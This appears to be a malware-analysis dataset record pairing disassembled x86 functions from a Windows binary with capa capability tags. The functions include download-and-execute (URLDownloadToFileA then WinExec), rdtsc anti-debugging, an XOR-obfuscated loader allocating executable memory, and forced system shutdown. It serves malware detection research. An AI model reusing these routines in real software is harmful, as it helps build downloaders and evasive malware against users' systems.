joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4093b4
Capabilities:
Terminate thread

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff4
mov dword [esp + 4], edx
mov word [esp], ax
mov ebp, dword [0x411244]
mov eax, dword [ebp]
mov di, word [eax + 0x36eec]
test di, di
jbe 0x4094a3
mov bx, 1
movzx eax, bx
lea esi, [eax + eax*4]
lea esi, [esi + esi*8]
mov eax, dword [ebp]
movzx eax, byte [eax + esi - 0x29]
cmp ax, word [esp]
jne 0x409499
mov eax, dword [esp + 4]
mov edx, 0x4094c0
call fcn.00402618
cmp dword [esp + 8], 0
je 0x4094b0
lea eax, [esp + 8]
push eax
mov eax, dword [ebp]
mov eax, dword [eax + esi - 0x28]
push eax
call sub.KERNEL32.DLL_GetExitCodeThread
mov eax, dword [esp + 8]
push eax
mov eax, dword [ebp]
mov eax, dword [eax + esi - 0x28]
push eax
call sub.KERNEL32.DLL_TerminateThread
test eax, eax
je 0x409452
mov edx, dword [esp + 4]
mov ax, 0x17
call fcn.00404d00
mov eax, dword [ebp]
xor edx, edx
mov dword [eax + esi - 0x28], edx
mov eax, dword [ebp]
cmp byte [eax + esi - 0x29], 8
jne 0x409491
movzx eax, bx
mov edx, dword [0x412e74]
mov eax, dword [edx + eax*4 + 0x458]
mov eax, dword [eax + 0x454]
push eax
mov eax, dword [0x4112b8]
mov eax, dword [eax]
call eax
movzx eax, bx
mov edx, dword [0x412e74]
mov eax, dword [edx + eax*4 + 0x458]
call fcn.00401fac
mov eax, dword [ebp]
mov byte [eax + esi - 0x29], 0
inc ebx
dec di
jne 0x4093e0
mov edx, dword [esp + 4]
mov ax, 0x17
call fcn.00404d00
add esp, 0xc
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4099b8
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push pe_nt_image_headers32
call sub.KERNEL32.DLL_GetCurrentProcess
push eax
call sub.KERNEL32.DLL_SetPriorityClass
push 0xf
call sub.KERNEL32.DLL_GetCurrentThread
push eax
call sub.KERNEL32.DLL_SetThreadPriority
push 0xa
call sub.KERNEL32.DLL_Sleep
rdtsc
mov dword [ebp - 4], eax
mov dword [ebp - 8], edx
push 0x1f4
call sub.KERNEL32.DLL_Sleep
rdtsc
sub eax, dword [ebp - 4]
sbb edx, dword [ebp - 8]
mov dword [ebp - 4], eax
mov dword [ebp - 8], edx
call sub.KERNEL32.DLL_GetCurrentThread
push eax
call sub.KERNEL32.DLL_GetThreadPriority
push eax
call sub.KERNEL32.DLL_GetCurrentThread
push eax
call sub.KERNEL32.DLL_SetThreadPriority
call sub.KERNEL32.DLL_GetCurrentProcess
push eax
call sub.KERNEL32.DLL_GetPriorityClass
push eax
call sub.KERNEL32.DLL_GetCurrentProcess
push eax
call sub.KERNEL32.DLL_SetPriorityClass
mov eax, dword [ebp - 4]
mov ecx, 0x7a120
xor edx, edx
div ecx
pop ecx
pop ecx
pop ebp
ret
Function at 0x40a404
Capabilities:
Create process on windows
Download url
Get common file path
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee8
push ebx
xor edx, edx
mov dword [ebp - 0x114], edx
mov dword [ebp - 0x118], edx
mov dword [ebp - 0x110], edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00402a4c
xor eax, eax
push ebp
push 0x40a52c
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x10c]
push eax
push pe_nt_image_headers32
call sub.KERNEL32.DLL_GetTempPathA
lea eax, [ebp - 0xc]
lea edx, [ebp - 0x10c]
mov ecx, pe_nt_image_headers32
call fcn.00402828
lea eax, [ebp - 8]
call fcn.00404b84
push 0
push 0
lea eax, [ebp - 0x110]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
call fcn.004028b0
mov eax, dword [ebp - 0x110]
call fcn.00402a5c
push eax
mov eax, dword [ebp - 4]
call fcn.00402a5c
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
mov eax, dword [0x4111ec]
xor ecx, ecx
mov edx, 0x44
call fcn.00401aa8
mov ebx, dword [0x411260]
mov ebx, dword [ebx]
call ebx
push 5
push dword [ebp - 0xc]
push dword [ebp - 8]
push 0x40a540
lea edx, [ebp - 0x118]
xor eax, eax
call fcn.00401514
push dword [ebp - 0x118]
lea eax, [ebp - 0x114]
mov edx, 4
call fcn.00402924
mov eax, dword [ebp - 0x114]
call fcn.00402a5c
push eax
call sub.KERNEL32.DLL_WinExec
push 0
call sub.KERNEL32.DLL_ExitProcess
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40a533
lea eax, [ebp - 0x118]
mov edx, 3
call fcn.004025e8
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.004025e8
ret
Function at 0x40a544
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x53
push 0
push 0
dec ecx
jne 0x40a54c
push ebx
mov ebx, dword [0x411254]
xor eax, eax
push ebp
push 0x40a7bb
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x254]
push eax
push pe_nt_image_headers32
call sub.KERNEL32.DLL_GetTempPathA
lea edx, [ebp - 0x258]
mov ax, 0x4a
call fcn.00404d00
mov eax, dword [ebp - 0x258]
push eax
lea eax, [ebp - 0x25c]
lea edx, [ebp - 0x254]
mov ecx, pe_nt_image_headers32
call fcn.00402828
mov edx, dword [ebp - 0x25c]
lea eax, [ebp - 4]
pop ecx
call fcn.004028b0
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x154]
call fcn.0040186c
mov edx, 1
lea eax, [ebp - 0x154]
call fcn.00401c08
call fcn.004012c8
lea edx, [ebp - 0x260]
mov ax, 0x4b
call fcn.00404d00
push dword [ebp - 0x260]
push dword [ebx]
lea edx, [ebp - 0x264]
mov ax, 0x4c
call fcn.00404d00
push dword [ebp - 0x264]
push dword [ebx]
lea edx, [ebp - 0x268]
mov ax, 0xdc
call fcn.00404d00
push dword [ebp - 0x268]
push 0x40a7d0
lea edx, [ebp - 0x26c]
xor eax, eax
call fcn.00401514
push dword [ebp - 0x26c]
push dword [ebx]
lea edx, [ebp - 0x270]
mov ax, 0x4d
call fcn.00404d00
push dword [ebp - 0x270]
lea edx, [ebp - 0x274]
xor eax, eax
call fcn.00401514
push dword [ebp - 0x274]
push 0x40a7d0
lea edx, [ebp - 0x278]
mov ax, 0x59
call fcn.00404d00
push dword [ebp - 0x278]
push dword [ebx]
lea edx, [ebp - 0x27c]
mov ax, 0x4e
call fcn.00404d00
push dword [ebp - 0x27c]
lea edx, [ebp - 0x280]
xor eax, eax
call fcn.00401514
push dword [ebp - 0x280]
push dword [ebx]
lea edx, [ebp - 0x284]
mov ax, 0x57
call fcn.00404d00
push dword [ebp - 0x284]
lea edx, [ebp - 0x288]
xor eax, eax
call fcn.00401514
push dword [ebp - 0x288]
push dword [ebx]
lea edx, [ebp - 0x28c]
mov ax, 0xcb
call fcn.00404d00
push dword [ebp - 0x28c]
push dword [ebx]
lea edx, [ebp - 0x290]
mov ax, 0x58
call fcn.00404d00
push dword [ebp - 0x290]
push dword [ebx]
lea edx, [ebp - 0x294]
mov ax, 0x4e
call fcn.00404d00
push dword [ebp - 0x294]
push dword [ebp - 4]
push dword [ebx]
lea edx, [ebp - 0x298]
mov ax, 0x57
call fcn.00404d00
push dword [ebp - 0x298]
push dword [ebp - 4]
lea eax, [ebp - 8]
mov edx, 0x1c
call fcn.00402924
push 0
mov eax, dword [ebp - 8]
call fcn.00402864
push eax
lea eax, [ebp - 8]
call fcn.00402ab0
mov edx, eax
lea eax, [ebp - 0x154]
pop ecx
call fcn.004019e4
call fcn.004012c8
lea eax, [ebp - 0x154]
call fcn.00401a04
call fcn.004012c8
push 0
mov eax, dword [ebp - 4]
call fcn.00402a5c
push eax
call sub.KERNEL32.DLL_WinExec
mov ebx, dword [0x411260]
mov ebx, dword [ebx]
call ebx
push 0
call sub.KERNEL32.DLL_ExitProcess
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40a7c2
lea eax, [ebp - 0x298]
mov edx, 0x11
call fcn.004025e8
lea eax, [ebp - 8]
mov edx, 2
call fcn.004025e8
ret
Function at 0x40a7d4
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffedc
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x124], ecx
mov dword [ebp - 0x120], ecx
mov dword [ebp - 0x118], ecx
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x110], ecx
mov dword [ebp - 0x114], ecx
mov dword [ebp - 0x10c], ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 8], ecx
mov esi, edx
xor eax, eax
push ebp
push 0x40a9ba
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
call fcn.004025c4
lea eax, [ebp - 0x107]
xor ecx, ecx
mov edx, 0xfa
call fcn.00401aa8
mov dword [ebp - 0xc], 0xfa
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x107]
push eax
call sub.advapi32.dll_GetUserNameA
lea eax, [ebp - 8]
lea edx, [ebp - 0x107]
mov ecx, 0xfa
call fcn.00402828
lea eax, [ebp - 0x10c]
lea edx, [ebp - 0x107]
mov ecx, 0xfa
call fcn.00402828
mov edx, dword [ebp - 0x10c]
mov eax, 0x40a9d0
call fcn.00402b9c
mov ebx, eax
test bl, bl
jbe 0x40a89d
xor edx, edx
mov dl, bl
lea eax, [ebp - 8]
call fcn.00402be4
mov eax, dword [ebp - 8]
call fcn.00402864
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 3
jb 0x40a8e6
cmp dword [ebp - 0xc], 0x14
ja 0x40a8e6
lea edx, [ebp - 0x110]
mov eax, dword [ebp - 8]
call fcn.00403d28
mov eax, dword [ebp - 0x110]
push eax
lea edx, [ebp - 0x114]
mov ax, 0x5b
call fcn.00404d00
mov edx, dword [ebp - 0x114]
pop eax
call fcn.004029a8
jne 0x40a92b
mov bl, 6
lea edx, [ebp - 0x11c]
mov ax, 3
call fcn.00404d00
mov eax, dword [ebp - 0x11c]
push eax
mov eax, 0x1a
call fcn.00401ac8
pop edx
mov dl, byte [edx + eax]
lea eax, [ebp - 0x118]
call fcn.004027a0
mov edx, dword [ebp - 0x118]
lea eax, [ebp - 4]
call fcn.0040286c
dec bl
jne 0x40a8e8
jmp 0x40a985
mov al, byte [ebp - 0xc]
test al, al
jbe 0x40a961
mov byte [ebp - 0xd], al
mov bl, 1
lea eax, [ebp - 0x120]
xor edx, edx
mov dl, bl
mov ecx, dword [ebp - 8]
mov dl, byte [ecx + edx - 1]
call fcn.004027a0
mov edx, dword [ebp - 0x120]
lea eax, [ebp - 4]
call fcn.0040286c
inc ebx
dec byte [ebp - 0xd]
jne 0x40a937
mov eax, 0x63
call fcn.00401ac8
inc eax
lea edx, [ebp - 0x124]
call fcn.00403da0
mov edx, dword [ebp - 0x124]
lea eax, [ebp - 4]
call fcn.0040286c
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.00402618
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40a9c1
lea eax, [ebp - 0x124]
mov edx, 7
call fcn.004025e8
lea eax, [ebp - 8]
mov edx, 2
call fcn.004025e8
ret
Function at 0x40ab78
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
call fcn.00402a4c
mov eax, dword [ebp - 0xc]
call fcn.00402a4c
mov esi, dword [0x411244]
mov edi, 0x412e70
xor eax, eax
push ebp
push 0x40ad45
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 0xc], 0
je 0x40ad2a
mov eax, dword [ebp - 4]
add eax, 0x10
mov edx, dword [ebp - 0xc]
call fcn.00402618
mov edx, dword [ebp - 8]
mov eax, 0x40ad60
call fcn.00402b9c
mov ebx, eax
lea eax, [ebp - 0x10]
push eax
xor ecx, ecx
mov cl, bl
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00402ab8
mov eax, dword [ebp - 0x10]
call fcn.00403dc8
mov edx, dword [ebp - 4]
mov byte [edx + 4], al
xor ecx, ecx
mov cl, bl
lea eax, [ebp - 8]
mov edx, 1
call fcn.00402af8
mov edx, dword [ebp - 8]
mov eax, 0x40ad60
call fcn.00402b9c
mov ebx, eax
lea eax, [ebp - 0x14]
push eax
xor ecx, ecx
mov cl, bl
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00402ab8
mov eax, dword [ebp - 0x14]
call fcn.00403dc8
mov edx, dword [ebp - 4]
mov byte [edx + 5], al
xor ecx, ecx
mov cl, bl
lea eax, [ebp - 8]
mov edx, 1
call fcn.00402af8
mov edx, dword [ebp - 8]
mov eax, 0x40ad60
call fcn.00402b9c
mov ebx, eax
lea eax, [ebp - 0x18]
push eax
xor ecx, ecx
mov cl, bl
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00402ab8
mov eax, dword [ebp - 0x18]
call fcn.00403dc8
mov edx, dword [ebp - 4]
mov byte [edx + 6], al
xor ecx, ecx
mov cl, bl
lea eax, [ebp - 8]
mov edx, 1
call fcn.00402af8
mov eax, dword [ebp - 8]
call fcn.00403dc8
mov edx, dword [ebp - 4]
mov byte [edx + 7], al
lea edx, [ebp - 0x1c]
mov ax, 7
call fcn.004093b4
mov bx, 0x14
mov eax, dword [esi]
call fcn.00408d54
mov word [edi], ax
movzx eax, word [edi]
lea eax, [eax + eax*4]
lea eax, [eax + eax*8]
mov edx, dword [esi]
mov ecx, dword [ebp + 0xc]
mov dword [edx + eax - 0x20], ecx
movzx eax, word [edi]
lea eax, [eax + eax*4]
lea eax, [eax + eax*8]
mov edx, dword [esi]
mov ecx, dword [ebp + 8]
mov dword [edx + eax - 0x1c], ecx
movzx eax, word [edi]
lea eax, [eax + eax*4]
lea eax, [eax + eax*8]
mov edx, dword [esi]
mov byte [edx + eax - 0x29], 7
mov eax, dword [0x4112a4]
push eax
push 0
push 0
push 0x40aab8
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
movzx edx, word [edi]
lea edx, [edx + edx*4]
lea edx, [edx + edx*8]
mov ecx, dword [esi]
mov dword [ecx + edx - 0x28], eax
dec bx
jne 0x40acc0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40ad4c
lea eax, [ebp - 0x1c]
mov edx, 6
call fcn.004025e8
ret
Function at 0x40ada4
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov ebx, eax
xor eax, eax
push ebp
push 0x40ae67
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x40ae22
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
lea ecx, [ebp - 8]
mov eax, dword [ebx + 0x44]
mov edx, 2
call fcn.00403c10
mov eax, dword [ebp - 8]
call fcn.00402a5c
push eax
lea ecx, [ebp - 0xc]
mov eax, dword [ebx + 0x44]
mov edx, 1
call fcn.00403c10
mov eax, dword [ebp - 0xc]
call fcn.00402a5c
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
test eax, eax
jne 0x40ae16
mov bl, 1
jmp 0x40ae18
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40ae2e
test bl, bl
je 0x40ae40
mov edx, dword [ebp - 4]
mov ax, 0x64
call fcn.00404d00
jmp 0x40ae4c
mov edx, dword [ebp - 4]
mov ax, 0x65
call fcn.00404d00
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40ae6e
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004025e8
ret

Function at 0x40ae78
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
xor ecx, ecx
mov dword [ebp - 0x2c], ecx
mov ebx, edx
xor eax, eax
push ebp
push 0x40af39
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x4112d8]
cmp dword [eax], 2
jne 0x40af13
lea eax, [ebp - 8]
push eax
push 0x28
call sub.KERNEL32.DLL_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
cmp eax, 1
sbb eax, eax
inc eax
test al, al
je 0x40af13
lea eax, [ebp - 0x14]
push eax
lea edx, [ebp - 0x2c]
mov ax, 0x66
call fcn.00404d00
mov eax, dword [ebp - 0x2c]
call fcn.00402a5c
push eax
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
cmp eax, 1
sbb eax, eax
inc eax
mov dword [ebp - 0x18], 1
mov dword [ebp - 0xc], 2
mov edx, 0x10
xor ecx, ecx
mov dword [ebp - 4], ecx
test al, al
je 0x40af13
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x28]
push eax
push edx
lea eax, [ebp - 0x18]
push eax
push 0
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
push 0
push ebx
call sub.user32.dll_ExitWindowsEx
cmp eax, 1
sbb eax, eax
inc eax
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40af40
lea eax, [ebp - 0x2c]
call fcn.004025c4
ret
Function at 0x40af48
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
mov ebx, ecx
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
call fcn.00402a4c
xor eax, eax
push ebp
push 0x40afe8
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.00401aa8
lea eax, [ebp - 0x58]
xor ecx, ecx
mov edx, 0x10
call fcn.00401aa8
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0x220
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00402a5c
push eax
call sub.KERNEL32.DLL_CreateProcessA
test eax, eax
je 0x40afc7
mov edx, ebx
mov ax, 0x67
call fcn.00404d00
jmp 0x40afd2
mov edx, ebx
mov ax, 0x68
call fcn.00404d00
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40afef
lea eax, [ebp - 4]
call fcn.004025c4
ret
Function at 0x40b5d0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x40b73d
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [ebx + 0x458], 0
jne 0x40b67c
lea eax, [ebp - 4]
push eax
mov eax, dword [0x4112c0]
mov edx, 0x2b
call fcn.00404d7c
movzx eax, ax
call fcn.00401ac8
inc eax
mov edx, dword [0x4112c0]
mov ecx, 0x2b
call fcn.00404d48
mov edx, dword [ebp - 4]
mov eax, 0x40b754
call fcn.00402b9c
mov esi, eax
lea eax, [ebx + 0x14]
push eax
movzx edi, si
mov ecx, edi
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402ab8
mov ecx, edi
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402af8
lea eax, [ebx + 0x38]
mov edx, dword [ebp - 4]
call fcn.00402618
lea edx, [ebp - 8]
mov ax, 2
call fcn.00404d18
mov edx, dword [ebp - 8]
lea eax, [ebx + 0x18]
call fcn.00402618
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.0040a7d4
mov edx, dword [ebp - 0xc]
lea eax, [ebx + 0x34]
call fcn.00402618
mov byte [ebx + 0x40], 1
mov eax, dword [0x411244]
mov eax, dword [eax]
call fcn.00408d54
mov word [0x412e70], ax
movzx eax, word [0x412e70]
lea eax, [eax + eax*4]
lea eax, [eax + eax*8]
mov edx, dword [0x411244]
mov edx, dword [edx]
mov byte [edx + eax - 0x29], 0xd
movzx eax, word [0x412e70]
lea eax, [eax + eax*4]
lea eax, [eax + eax*8]
mov edx, dword [0x411244]
mov edx, dword [edx]
mov ecx, dword [0x412e74]
mov dword [edx + eax - 0x20], ecx
mov eax, dword [0x4112a4]
push eax
push 0
push 0
push 0x40dacc
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
movzx edx, word [0x412e70]
lea edx, [edx + edx*4]
lea edx, [edx + edx*8]
mov ecx, dword [0x411244]
mov ecx, dword [ecx]
mov dword [ecx + edx - 0x28], eax
mov edx, dword [ebx + 0x38]
mov eax, dword [ebx + 0x14]
call fcn.0040d388
mov dword [ebx + 0x454], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b744
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.004025e8
ret
Function at 0x40dc20
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
call fcn.00402a4c
xor eax, eax
push ebp
push 0x40dd01
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
lea edx, [ebp - 8]
mov ax, 0xf9
call fcn.00404d00
mov eax, dword [ebp - 8]
call fcn.00402a5c
push eax
call sub.user32.dll_FindWindowA
mov ebx, eax
test ebx, ebx
jbe 0x40dce6
lea edx, [ebp - 0xc]
mov ax, 0xf9
call fcn.00404d00
mov eax, dword [ebp - 0xc]
call fcn.00402a5c
push eax
push 0x1000
push 0
push 4
push 0
push 0xffffffffffffffff
call sub.KERNEL32.DLL_CreateFileMappingA
mov edi, eax
push 0
push 0
push 0
push 0xf001f
push edi
call sub.KERNEL32.DLL_MapViewOfFile
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.00402864
push eax
lea eax, [ebp - 4]
call fcn.00402ab0
mov edx, esi
pop ecx
call fcn.00401368
push 0
push 1
push 0x4c8
push ebx
call sub.user32.dll_SendMessageA
push 0
push 1
push 0x4c9
push ebx
call sub.user32.dll_SendMessageA
push esi
call sub.KERNEL32.DLL_UnmapViewOfFile
push edi
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40dd08
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.004025e8
ret
Function at 0x40632d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x40633c
pop dword [ebp - 0x4c]
mov eax, 0x2a53dc51
sub eax, 0x2a137915
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0x413c3393
sub dword [ebp - 0x5c], 0xf2e9ee48
mov dword [ebp - 0x58], 0x64ab6cfc
add dword [ebp - 0x58], 0xcd87df49
mov dword [ebp - 0x54], 0xf541bd7f
add dword [ebp - 0x54], 0x570a86af
mov dword [ebp - 0x50], 0x8c284b19
add dword [ebp - 0x50], 0x73d7b4e7
lea eax, [ebp - 0x5c]
push eax
mov eax, 0xe1502e2b
add eax, 0x1ef04235
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0x33fdb166
sub dword [ebp - 0x5c], 0xbf8b4810
mov dword [ebp - 0x58], 0x1661289b
add dword [ebp - 0x58], 0x2b0b38da
mov dword [ebp - 0x54], 0x34da6a8
add dword [ebp - 0x54], 0x6021c5c4
mov dword [ebp - 0x50], 0x38948909
add dword [ebp - 0x50], 0xc76b76f7
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, 0xf48cf79a
add eax, 0xbb37966
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x349e1
push 0
call eax
mov ecx, 0x3fff
mov esi, eax
mov edx, 0x22d934f6
sub edx, 0x229834f6
add edx, dword [ebp - 0x4c]
mov edi, 0x340cb7dd
xor dword [ebp - 0x1c], edi
mov ebx, dword [edx]
sub dword [ebp - 0x30], esi
add ebx, edi
add dword [ebp - 0x38], esi
mov dword [esi], ebx
mov dword [ebp - 8], 0x5700ea4a
add esi, 0x947263c
add esi, 0xf6b8d9c8
add edx, 4
loop 0x406452
add eax, 0xf2cf
mov ebx, eax
add eax, 5
mov ecx, 0x42fd7fea
add ecx, 0xbd428016
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x409888
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40995b
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x409974
push ebx
push 0x409980
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.004033b4
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.0040277c
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403414
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x409908
mov al, 0x62
call fcn.00409460
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.0040985c
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
dec eax
je 0x409911
call fcn.0040985c
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409962
lea eax, [ebp - 4]
call fcn.00403198
ret

Function at 0x409a14
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409ac8
jmp 0x409abd
cmp dword [esi + 0x10], 0x1000
jne 0x409aa9
test byte [esi + 0x15], 1
jne 0x409aa9
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409a68
cmp eax, 2
je 0x409a68
cmp eax, 0x10
je 0x409a68
cmp eax, 0x20
jne 0x409a7d
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409a7d
mov bl, 1
xor ebp, ebp
jmp 0x409a8e
mov eax, dword [esi]
add eax, ebp
call fcn.00409a0c
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x409a81
test bl, bl
je 0x409aa9
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409ac8
mov eax, dword [esi + 4]
cmp eax, edi
je 0x409a40
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x420b20
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, 0x401000
call 0x420b20
lcall 0x5de5, 0x8b10c483
jmp loc.00a0dbe8